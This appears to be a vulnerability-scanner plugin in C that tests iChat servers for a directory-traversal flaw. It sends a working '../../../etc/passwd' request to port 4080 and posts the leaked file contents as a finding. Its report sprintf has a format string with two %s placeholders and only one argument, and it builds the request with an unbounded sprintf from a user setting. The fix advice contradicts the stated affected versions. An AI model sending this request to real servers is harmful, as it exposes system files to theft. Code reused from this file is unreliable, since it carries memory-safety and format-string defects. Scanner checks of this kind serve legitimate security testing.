/*
 * 
 * iChat
 *
 * This plugin was written by Renaud Deraison and is released
 * under the GPL
 *
 */
#include <includes.h> 

#define NAME "iChat"
#define DESC "iChat servers up to version 3.00 allow \n\
any remote user to view any file on the target system\n\
by doing the following request :\n\
http://chat.server.com:4080/../../../etc/passwd\n\
\n\
Risk factor : High"
#define COPYRIGHT "no copyright"
#define SUMM "determines if iChat is vulnerable to a stupid bug"


PlugExport int plugin_init(struct arglist *desc);
PlugExport int plugin_init(struct arglist *desc)
{
	plug_set_name(desc, NAME);
	plug_set_description(desc, DESC);
	plug_set_summary(desc, SUMM);
	plug_set_copyright(desc, COPYRIGHT);
	plug_set_category(desc, ACT_ATTACK);
	plug_set_family(desc, "Remote file access");
	return(0);
}



PlugExport int plugin_run(struct arglist * args);	
PlugExport int plugin_run(struct arglist * args)
{
	if(host_get_port_state(args, 4080)<=0)return(0);
        else
        {
         char * buffer = emalloc(2048);
         char * test_file = "/etc/passwd";
         char * t;
         int soc;
         if((t = get_preference(args, "test_file")))
          test_file = t;
          
         sprintf(buffer, "GET ../../../../../../%s HTTP/1.0\n\n", test_file);
         
         soc = open_sock_tcp(args, 4080);
         if(soc > 0)
         {
          send(soc, buffer, strlen(buffer), 0);
          bzero(buffer, strlen(buffer));
          recv_line(soc, buffer, 2047);
          if(strstr(buffer, " 200 "))
          {
           char * report;
           bzero(buffer, strlen(buffer));
           recv(soc, buffer, 2047, 0);
           report = emalloc(255 + strlen(buffer));
           sprintf(report, "The remote iChat server displays whatever file\n\
it is asked to display. Here is (a part of) %s : \n%s\nSolution : upgrade to version 3.0",
	  buffer);
           post_hole(args, 4080, report);
           efree(&report);
          }
         }
         efree(&buffer);
        }
          
	return(0);
}

